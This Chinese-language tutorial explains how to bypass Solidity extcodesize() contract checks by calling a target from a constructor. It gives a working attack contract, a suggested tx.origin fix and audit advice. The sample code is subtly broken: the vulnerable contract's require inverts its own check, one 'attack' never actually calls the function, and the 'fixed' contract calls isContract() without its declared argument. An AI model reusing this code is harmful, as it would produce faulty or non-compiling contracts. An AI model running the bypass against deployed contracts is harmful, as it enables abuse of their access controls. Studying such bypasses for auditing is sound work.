漏洞简介:

在部分场景中,有时候通过使用内联汇编extcodesize()函数来检查调用者地址是否存在字节码来判断调用者是否为合约:

modifier isEOA(address account) {
	uint size;
	assembly{
		size := extcodesize(account)
	}
	require(size == 0,"msg.sender is not a EOA!");
	_;
} // 一个函数修饰符来判断是否为外部地址EOA

account为 EOA 地址的时候,extcodesize()会返回 0,当 account为合约地址时,extcodesize()会返回部署后字节码的大小。

漏洞原理:

部署合约时,constructor函数中的代码逻辑会跟随部署合约的交易一起发送给矿工打包上链。由于此时合约部署的操作还没完成,所以合约地址还没有存入相应的字节码,这时在constructor函数中调用extcodesize()检测合约地址的字节码就会返回 0 。

通俗来讲:可以将恶意代码放在constructor构造函数中对extcodesize()检测进行绕过。

漏洞利用:

直接将调用逻辑放在constractor构造函数中进行尝试即可。

漏洞示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Target {
	function isContract(address account) public view returns(bool){
		uint size;
		assembly{
			size := extcodesize(account)
		}
		return size > 0;
	}
	
	bool public pwned = false;
	
	function protected() external {
		require(isContract(msg.sender) == true,"no contract allowed");
		pwned = true;
	}
}

正常情况下:

pragma solidity ^0.8.20;

contract FailedAttack {
	function pwn(address _target) external{
		Target(_target).protected;
	}
}

调用pwn()并将合约地址传入会发生回滚,说明合约部署后调用protected()会无法通过require(!isContract(msg.sender))检测.

攻击合约:

接下来,将调用逻辑放在contractor函数中再次进行尝试:

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Hack{
	bool public isContract;
	address public addr;
	
	// When contract is being create,code size (extcodesize) is 0.
	// This will bypass the isContract() check
	constructor(address _target) {
		isContract = Target(_target).isContract(address(this));
		addr = address(this);
		// This will work
		Target(_target).protected();
	}
}

修复建议:

开发者:

使用extcodesize()判断地址是否为 EOA 地址并不准确,在实际开发中最稳妥的判断调用者身份的方式还是通过tx.origin来判断。如:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EOAChecker {
	function isEOA() external pure returns(bool) {
		return msg.sender == tx.origin;
	}
}

由于tx.origin只可能是 EOA 地址,我们只需判断调用者的msg.sendertx.origin是否相等即可。以刚刚的漏洞代码为例,只需要稍加修改即可修复漏洞:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Target {
	function isContract(address account) public view returns(bool){
		return (msg.sender == tx.origin);
	}
	
	bool public pwned = false;
	
	function protected() external {
		require(isContract(),"no contract allowed");
		pwned = true;
	}
}

此时部署下面的攻击合约再次进行攻击,就会被回滚。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Hack {
	address public addr;
	
	constructor(address _target) {
		Target(_target).protected();
	}
}

审计者:

在审计过程中,如果遇到限制合约地址调用的逻辑,应该结合实际业务逻辑判断该检查是否严谨以及是否存在被绕过的可能